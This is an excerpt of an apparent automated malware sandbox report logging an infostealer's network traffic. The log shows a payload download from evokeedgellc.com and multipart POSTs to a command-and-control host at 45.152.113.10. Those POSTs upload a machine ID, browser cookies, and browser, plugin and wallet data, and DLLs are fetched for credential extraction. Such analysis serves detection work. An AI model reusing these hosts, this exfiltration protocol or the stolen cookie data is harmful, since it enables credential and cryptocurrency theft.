00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /app/l2.exe HTTP/1.1Host: evokeedgellc.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.152.113.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 45.152.113.10Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 46 37 32 36 34 46 35 45 30 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="hwid"FF7264F5E0363848468766------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="build"default------FBFHDBKJEGHJJJKFIIJE--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJHost: 45.152.113.10Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="message"browsers------KKKJEHCGCGDAAAKFHJKJ--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 45.152.113.10Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"plugins------HCAEHDHDAKJEBGCBKKJE--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: 45.152.113.10Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="message"fplugins------IDAEHCFHJJJJECAAFBKJ--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 45.152.113.10Content-Length: 5783Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/sqlite3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGIHost: 45.152.113.10Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJHost: 45.152.113.10Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="file"------KKKJEHCGCGDAAAKFHJKJ--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBKHost: 45.152.113.10Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file"------AEHIDAKECFIEBGDHJEBK--
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/freebl3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/mozglue.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/msvcp140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/nss3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/softokn3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 45.152.113.10Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 45.152.113.10Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="message"wallets------AFCBAEBAEBFHCAKFCAKE--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBAHost: 45.152.113.10Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="message"files------GHJDHDAECBGCAKEBAEBA--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCHost: 45.152.113.10Content-Length: 113391Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDGHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 2d 2d 0d 0a Data Ascii: ------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="message"ybncbhylepme------HCBAKJEHDBGHIEBGCGDG--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--

Source: Joe Sandbox View	ASN Name: CODECCLOUD-AS-APCodecCloudHKLimitedHK CODECCLOUD-AS-APCodecCloudHKLimitedHK
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: Joe Sandbox View

